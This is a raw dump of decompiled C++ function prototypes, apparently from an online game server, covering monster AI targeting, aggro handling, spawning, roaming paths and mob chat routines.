ShineObjectClass::ShineMob::so_mob_SelectWeapon(#593 *, char); void __thiscall ShineObjectClass::ShineMob::sm_UseWeapon(void *this, int a2); int __thiscall ShineObjectClass::ShineObject::so_mob_SightCenter(int this, int sight, int buffer); SHINE_XY_TYPE *__thiscall ShineObjectClass::ShineMob::so_mob_SightCenter(int this, int sight, int buffer); void __thiscall MobTargetSelector::mts_InitRegen(MobTargetSelector *this, #593 *mob); int __thiscall ShineObjectClass::ShineMob::so_mob_TargetChange(int this); void __thiscall AxialListNearFriend::_AxialListNearFriend(AxialListNearFriend *this); void __thiscall AxialListRandomEnemy::_AxialListRandomEnemy(AxialListRandomEnemy *this); char __thiscall AxialListRandomEnemy::ali_Work(AxialListRandomEnemy *this, #593 *, #593 *, unsigned int); void __thiscall AxialListNPCTargetFind::_AxialListNPCTargetFind(AxialListNPCTargetFind *this); char __thiscall AxialListNPCTargetFind::ali_Work(AxialListNPCTargetFind *this, #593 *, #593 *, unsigned int); MobTargetSelector *__thiscall MobTargetPlayerCaptivate::mts_Initialize(MobTargetPlayerCaptivate *this, #593 *, MobAggroManager *); void __thiscall MobTargetPlayerCaptivate::mts_SelectTarget(MobTargetPlayerCaptivate *this, #593 *mob); void __thiscall ShineObjectClass::ShineMob::so_mob_ReturnToRegen(int this); MobTargetSelector *__thiscall MobTargetSelector::mts_Initialize(MobTargetSelector *this, #593 *, MobAggroManager *); MobTargetSelector *__thiscall MobTargetBout::mts_Initialize(MobTargetBout *this, #593 *, MobAggroManager *); MobTargetSelector *__thiscall MobTargetSelector::mts_InitThink(MobTargetSelector *this); void __thiscall MobTargetSelector::mts_SelectTarget(MobTargetSelector *this, #593 *mob); void __thiscall MobTargetNoBrain::mts_SelectTarget(MobTargetNoBrain *this, #593 *mob); void __thiscall MobTarget_AggroClear::MobTarget_AggroClear(MobTarget_AggroClear *this, #593 *, int); void __thiscall MobTarget_AggroClear::_MobTarget_AggroClear(MobTarget_AggroClear *this); char __thiscall MobTarget_AggroClear::lid_Call(MobTarget_AggroClear *this, MobTargetStruct *ele, unsigned __int16 handle); void __thiscall MobTargetBout::mts_DecreaseAggroPoint(MobTargetBout *this, #593 *, int); void __thiscall MobTargetSelector::mts_TargetChange(MobTargetSelector *this, MobTargetStruct *target); void __thiscall MobTarget_EnemyAnalysis::MobTarget_EnemyAnalysis(MobTarget_EnemyAnalysis *this, #593 *, List *); void __thiscall MobTarget_EnemyAnalysis::_MobTarget_EnemyAnalysis(MobTarget_EnemyAnalysis *this); char __thiscall MobTarget_EnemyAnalysis::mtea_free(MobTarget_EnemyAnalysis *this, MobTargetStruct *ele, unsigned __int16 handle); char __thiscall MobTarget_EnemyAnalysis::lid_Call(MobTarget_EnemyAnalysis *this, MobTargetStruct *ele, unsigned __int16 handle); void __thiscall MobTargetBout::mts_Routine(MobTargetBout *this); char __thiscall MobTarget_EnemyAnalysisWithDisposition::lid_Call(MobTarget_EnemyAnalysisWithDisposition *this, MobTargetStruct *ele, unsigned __int16 handle); void __thiscall MobTarget_EnemyAnalysisWithDisposition::_MobTarget_EnemyAnalysisWithDisposition(MobTarget_EnemyAnalysisWithDisposition *this); char __thiscall AxialListNearFriend::ali_Work(AxialListNearFriend *this, #593 *, #593 *, unsigned int); int __stdcall ShineObjectClass::ShineObject::so_mob_FindRandomTarget(int mobindex, int weaponnum); int __thiscall ShineObjectClass::ShineMob::so_mob_FindRandomTarget(void *this, int mobindex, int weaponnum); int __stdcall ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget(int a1, int a2); int __thiscall ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget(void *ecx0, int a2, int a3); int __stdcall ShineObjectClass::ShineObject::so_mob_CanMyTarget(int a1, int a2); int __stdcall ShineObjectClass::ShineObject::so_mob_CanNPCTarget(int mobindex, int weaponnum); int __thiscall ShineObjectClass::ShineMob::so_mob_CanNPCTarget(void *this, int mobindex, int weaponnum); int __stdcall ShineObjectClass::ShineObject::so_ply_CanMyTarget(int a1, int weaponnum); void __thiscall List::l_Clear(List *this); void __thiscall MobTargetBout::mts_InitRegen(MobTargetBout *this, #593 *mob); void __thiscall MobTargetBout::mts_SelectTarget(MobTargetBout *this, #593 *mob); void __thiscall MobTargetAggresive::mts_SelectTarget(MobTargetAggresive *this, #593 *mob); void __thiscall MobTargetHasDisposition::mts_SelectTarget(MobTargetHasDisposition *this, #593 *mob); void __thiscall MobTargetBout::mts_AggroClear(MobTargetBout *this); void __thiscall MobTargetBout::mts_ViewAggroList(MobTargetBout *this, #593 *pPlayer); void __thiscall MobTargetBout::mts_AppendAggroPoint(MobTargetBout *this, #593 *, int); void __thiscall MobTargetHasDisposition::mts_Routine(MobTargetHasDisposition *this); char __thiscall MobTargetPlayerCaptivate::ali_Work(MobTargetPlayerCaptivate *this, #593 *, #593 *, unsigned int); void *__thiscall ShineObjectClass::ShineMob::so_mob_CanMyTarget(void *this, int a2, int a3); void *__thiscall ShineObjectClass::ShineMob::so_ply_CanMyTarget(void *this, int a2, int mobindex); void *__thiscall ShineObjectClass::ShinePlayer::so_ply_CanMyTarget(void *this, int a2, int weaponnum); int __thiscall MobDataBox::operator int(MobDataBox *this); unsigned int __thiscall MobChat::MobChatElementBase::mceb_MobChatInterval(MobChat::MobChatElementBase *this); void __thiscall MobChat::MobChatManager::MobChatManager(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_WanderChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_AttackChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_DamageChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_KilledChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_HelpReqChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_HelpAckChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_DetectBattleChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatElement::MobChatElement(MobChat::MobChatElement *this, MobChat::MobChatRecord *rec); void __thiscall MobChat::MobChatElementWander::MobChatElementWander(MobChat::MobChatElementWander *this, MobChat::MobChatRecord *rec); unsigned int __thiscall MobChat::MobChatElementWander::mceb_MobChatInterval(MobChat::MobChatElementWander *this); void __thiscall MobChat::MobChatElementWander::mceb_WanderChat(MobChat::MobChatElementWander *this); void __thiscall MobChat::MobChatElement::mceb_AttackChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_DamageChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_KilledChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_HelpReqChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_HelpAckChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_DetectBattleChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatManager::_MobChatManager(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_Load(MobChat::MobChatManager *this, Name4 *world); void __thiscall MobDeadCount::_MobDeadCount(MobDeadCount *this); void __thiscall MobDeadCount::mdc_Clear(MobDeadCount *this); void __thiscall MobDeadCount::mdc_Count(MobDeadCount *this, unsigned __int16 mobid); int __thiscall MobDeadCount::mdc_DeadCountGet(MobDeadCount *this, unsigned __int16 mobid); void __thiscall MobDeadCount::mdc_Init(MobDeadCount *this); int __thiscall ShineObjectClass::ShineObject::so_IsDropping(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak int __thiscall PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_(int this, int a2); void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete); void __thiscall BriefInformationEffect::bie_InitBriefInfo(BriefInformationEffect *this, unsigned __int16 handle, Name8 *idx, unsigned __int16 detach, int scale, int loop); void __thiscall EventMobRegen::EventMobRegen(EventMobRegen *this); void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper(EventSaveCheck *this); signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(int pmap, int x, int y, int dir, __int16 handle, __int16 mobid, int scale); signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(__int16 handle, int map_, int x, int y, int d, int idx, int keeptime_millisec, int scale, int loop); signed int __stdcall ShineObjectClass::ShineObject::so_mob_Regenerate(int map_, int x, int y, int dir, __int16 handle, __int16 mobid, int bandittemplete, int regnum, int a9, int a10, int lev, char blockdata); int __thiscall MobRegenClass::MobBreeder::MobBreeder(int this); int __thiscall MobRegenClass::MobBreeder::mb_RegenWaitTime(int this); void __thiscall MobRegenClass::MobRegenLoc_Circular::MobRegenLoc_Circular(MobRegenClass::MobRegenLoc_Circular *this, int x, int y, int rad); void __thiscall MobRegenClass::MobRegenLoc_Circular::mrlc_Get(MobRegenClass::MobRegenLoc_Circular *this, SHINE_XY_TYPE *loc); char __thiscall ShineObjectClass::ShineMob::sm_BriefLocateSet(int this); void __thiscall ShineObjectClass::ShineBandit::sm_BriefLocateSet(ShineObjectClass::ShineBandit *this); MobDataBox::MobDataBoxIndex *__thiscall ShineObjectClass::ShineMob::sm_InitBriefInfo(int this, __int16 handle, unsigned __int16 mobid, int bandittemplete); void __thiscall ShineObjectClass::ShineBandit::sm_InitBriefInfo(ShineObjectClass::ShineBandit *this, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete); void __thiscall KQRegenTable::KQRegenTable(KQRegenTable *this); int __cdecl KQRegenTable::Element::Comp(const void *a, const void *b); void __thiscall FamilyMobManagement::MobSpeciesSlot::mss_Clear(FamilyMobManagement::MobSpeciesSlot *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, #1429 *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, #1429 *ele); char __thiscall List::l_PopZ(List *this, #1429 *ele); char __thiscall List::l_4AllInList(List *this, char (__thiscall *func)(AbnormalStateContainer::AbstateElementInObject *this, List *, unsigned __int16)); void __thiscall SafePointer::SafePointer(SafePointer *this); void __thiscall SafePointer::_SafePointer(SafePointer *this); void __cdecl std::fill(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Val); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineEffectObject::so_effect_EffectBlast(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle, Name3 *map_, #593 *detach, Name8 *idx, unsigned int keeptime_millisec, int scale, int loop); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineEffectObject::so_effect_EffectBlast(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle, Name3 *map_, int x, int y, int d, Name8 *idx, unsigned int keeptime_millisec, int scale, int loop); void __cdecl ShineObjectClass::ShineObject::so_npc_FromTable(); void __thiscall ShineObjectClass::ShineNPC::so_npc_FromTable(ShineObjectClass::ShineNPC *this); void __thiscall ShineObjectClass::ShineNPC::so_KilledBy(ShineObjectClass::ShineNPC *this, #593 *, int, int, unsigned int); void __thiscall MobRegenClass::MobBreeder::mb_Setregentime(void *this, int sec); void __thiscall MobRegenClass::MobBreederGroup::_MobBreederGroup(MobRegenClass::MobBreederGroup *this); void __thiscall MobRegenClass::MobBreederGroup::mbg_SetRegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc); char __thiscall MobBreedRegenEnable::lid_Call(MobBreedRegenEnable *this, #1429 *, unsigned __int16); void __thiscall ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(TableNameCompareArgument *this); char __thiscall MobRegenClass::MobBreederGroup::mbg_RegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc, int *dir); void __thiscall MobRegenClass::MobBreederGroup::mbg_Set(MobRegenClass::MobBreederGroup *this, ORToken *groupname, Name3 *map_, char fam, MobRegenStruct::RegenRegion *regreg); #1429 *__thiscall MobRegenClass::MobBreederGroup::l_AllocA(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd); #1429 *__thiscall MobRegenClass::MobBreederGroup::l_AllocZ(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd); MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocA(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd); MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocZ(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd); void __thiscall MobHatchery::_MobHatchery(MobHatchery *this); MobRegenClass::MobBreederGroup *__thiscall MobHatchery::mg_FindBreedGroup(MobHatchery *this, Name3 *map, ORToken groupname); void __thiscall MobRegenClass::MobBreeder::mb_SetLeader(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::sm_SetBrain(void *this); void __thiscall KQRegenTable::_KQRegenTable(KQRegenTable *this); void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this, char *fname); char __thiscall List::l_PushA(List *this, #1429 *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak std::mem_fun_ref_t *__cdecl std::for_each>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::mem_fun_ref_t _Func); FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy_backward(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest); FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest); void __thiscall List::l_Clear(List *this); int __thiscall MobRegenClass::MobBreeder::mb_regen(_DWORD, _DWORD); // weak char __thiscall MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(MobRegenClass::MobBreederGroup *this, char bNextRegen); void __thiscall MobRegenClass::MobBreederGroup::mbg_RegenFromLua(MobRegenClass::MobBreederGroup *this); char __thiscall MobRegenClass::MobBreeder::mb_Set(void *this, int grp, __int16 mobid, int regensec, int regenCount); void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this); char __thiscall MobRegenClass::MobBreederGroup::mbg_View(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle); char __thiscall MobRegenClass::MobBreederGroup::mbg_RegenList(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle); char __thiscall List::l_PushA(List *this, MobRegenClass::MobBreederGroup *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall MobRegenClass::MobBreederGroup::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, MobRegenClass::MobBreederGroup *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, MobRegenClass::MobBreederGroup *ele); char __thiscall List::l_PopZ(List *this, MobRegenClass::MobBreederGroup *ele); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_Clear(List *this); FamilyMobManagement::MobSpeciesSlot *__cdecl std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobRegenClass::MobBreederGroup::mbg_ScriptDataStore(MobRegenClass::MobBreederGroup *this, MobRegenStruct::RegenMobStruct *data, ORToken *aitype); void __thiscall MobHatchery::mh_View(MobHatchery *this, #734 *sp); void __thiscall MobHatchery::mh_RegenList(MobHatchery *this, #734 *sp); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __cdecl std::_Uninit_fill_n>(FamilyMobManagement::MobSpeciesSlot *_First, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobRegenClass::MobBreederGroup::MobBreederGroup(MobRegenClass::MobBreederGroup *this); FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *__formal); void __thiscall MobHatchery::MobHatchery(MobHatchery *this); FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Ptr, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val); void __thiscall std::vector>::_Xran(std::vector > *this); void __thiscall std::vector>::_Xlen(std::vector > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned int *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L187927(int a1); void *__thiscall std::vector>::operator_(void *this, int __formal); void __thiscall MobHatchery::mh_ScriptBreed(MobHatchery *this, Name3 *map_, PineScriptMobRegenerator::RegenStruct *pRegenScript, ORToken *aitype); void __thiscall SHND::CommonData::_CommonData(ItemRandomOption::OptionTable *this); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, unsigned int _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::MobSpeciesSlot *_Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_FamilyMobManagement::FamilyMob>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, FamilyMobManagement::FamilyMob *_Val); FamilyMobManagement::FamilyMob *__cdecl std::_Copy_opt(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); FamilyMobManagement::FamilyMob *__cdecl std::_Copy_backward_opt(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall FamilyMobManagement::FamilyMobManager::fmm_Initialize(FamilyMobManagement::FamilyMobManager *this, #1429 *leader); bool __thiscall FamilyMobManagement::FamilyMobManager::fmm_Dead(FamilyMobManagement::FamilyMobManager *this, #1429 *, unsigned __int16); void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Val); std::vector >::iterator *__cdecl std::remove>::iterator_FamilyMobManagement::FamilyMob>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, FamilyMobManagement::FamilyMob *_Val); void __cdecl std::fill(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Val); int __thiscall ShineObjectClass::ShineMob::so_mob_Regenerate(void *this, int map_, int x, int y, signed int dir, int handle, int mobid, int bandittemplete, int regnum, int a10, int a11, int lev, char blockdata); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineServant::so_mob_Regenerate(ShineObjectClass::ShineServant *this, Name3 *map_, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #593 *leadermob, #1429 *breeder, int lev, char blockdata); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineNPC::so_mob_Regenerate(ShineObjectClass::ShineNPC *this, Name3 *_map, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #593 *leadermob, #1429 *breeder, int lev, char blockdata); char __thiscall MobRegenClass::MobBreederGroup::mbg_Routine(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle); FamilyMobManagement::FamilyMob *__cdecl std::_Uninit_copy>(FamilyMobManagement::FamilyMob *_First, FamilyMobManagement::FamilyMob *_Last, FamilyMobManagement::FamilyMob *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall EventMobRegen::erb_happen(EventMobRegen *this); void __cdecl std::_Uninit_fill_n>(FamilyMobManagement::FamilyMob *_First, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); FamilyMobManagement::FamilyMob *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::FamilyMob *_Ptr, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::FamilyMob *_Val); void __thiscall FamilyMobManagement::FamilyMobManager::fmm_Remove(FamilyMobManagement::FamilyMobManager *this, #1429 *me); void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::FamilyMob *_Val); char __thiscall MobRegenClass::MobBreederGroup::l_Free(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd); void __thiscall FamilyMobManagement::FamilyMobManager::fmm_Regist(FamilyMobManagement::FamilyMobManager *this, #1429 *, unsigned __int16, int); char __thiscall MobRegenClass::MobBreederGroup::mbg_StoreData(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle); int __thiscall MobRegenClass::MobBreeder::mb_MobBreed(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall MobHatchery::mh_Load(MobHatchery *this, Name4 *world, Name3 *map_); #1429 *__thiscall MobRegenClass::MobBreederGroup::mbg_MobBreed(MobRegenClass::MobBreederGroup *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev); #1429 *__thiscall MobHatchery::mh_MobBreed(MobHatchery *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev); char __thiscall List::l_PushA(List *this, ItemLotAnalyser::LotChanger *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall HuntLog::MobHuntElement::mhe_Send2Log(HuntLog::MobHuntElement *this, #734 *sp); void __thiscall HuntLog::MobHuntLog::mhl_SendAll2Log(HuntLog::MobHuntLog *this, #734 *sp); HuntLog::MobHuntElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HuntLog::MobHuntElement *this, List *, unsigned __int16, HuntLog::MobHuntElement *), unsigned __int16 *hnd, HuntLog::MobHuntElement *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall HuntLog::MobHuntLog::mhl_Logging(HuntLog::MobHuntLog *this, #734 *, unsigned __int16, unsigned int); void __thiscall CommonList::CommonList(CommonList *this, int size); void __thiscall HuntLog::MobHuntLog::MobHuntLog(HuntLog::MobHuntLog *this); bool __thiscall MobRoaming::MobRoamingPath::operator<(MobRoaming::MobRoamingPath *this, MobRoaming::MobRoamingPath *rpth); void __thiscall MobRoamingPoint::mrp_Start(MobRoamingPoint *this); int __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathGet(int this); char __thiscall ShineObjectClass::ShineMob::som_IsAttackedDuringRoaming(int this); unsigned int __thiscall std::vector>::size(std::vector > *this); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); void __cdecl std::fill(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Val); void __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathSet(void *this, int roaming); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Lbound(std::_Tree,std::allocator,0> > *this, MobRoaming::MobRoamingPath *_Keyval); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); MobRoaming::PathElement *__cdecl std::copy_backward(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Dest); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); void __cdecl std::_Uninit_fill_n>(MobRoaming::PathElement *_First, unsigned int _Count, MobRoaming::PathElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); std::list,std::allocator > >::iterator *__cdecl std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal); MobRoaming::PathElement *__cdecl std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, MobRoaming::PathElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobRoaming::MobRoamingPath::mrp_RegenLoc(MobRoaming::MobRoamingPath *this, SHINE_XY_TYPE *loc); void __thiscall MobRoamingPoint::mrp_Next(MobRoamingPoint *this, MobRoaming::MobRoamingPath *roaming); char __thiscall ShineObjectClass::ShineMob::sm_NextPathPoint(void *this, int *a2, int dy, int distance, int nextroamingwait); void __thiscall ShineObjectClass::ShineMob::smo_RegenSpotAsNextRoamingSpot(int this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, MobRoaming::MobRoamingPath *_Keyval); MobRoaming::PathElement *__thiscall std::vector>::_Ufill(std::vector > *this, MobRoaming::PathElement *_Ptr, unsigned int _Count, MobRoaming::PathElement *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L170717(int a1); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MobRoaming::PathElement *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L171257(int a1); void __thiscall std::_Tree_nod_std::allocator_0>>::_Node::__Node(std::_Tree_nod,std::allocator,0> >::_Node *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, MobRoaming::PathElement *_Val); void __thiscall MobRoaming::MobsInRoaming::MobsInRoaming(MobRoaming::MobsInRoaming *this); void __thiscall MobRoaming::MobsInRoaming::mir_MoveInfoSendTo(MobRoaming::MobsInRoaming *this, #734 *sp); void __thiscall MobRoaming::MobRoamingPath::MobRoamingPath(MobRoaming::MobRoamingPath *this, ORToken *groupname); MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Get(MobRoaming::MobRoamingSet *this, ORToken *groupname); void __thiscall std::vector>::push_back(std::vector > *this, MobRoaming::PathElement *_Val); void __thiscall std::_Tree_nod_std::allocator_0>>::_Node::_Node(std::_Tree_nod,std::allocator,0> >::_Node *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, MobRoaming::MobRoamingPath *_Val); 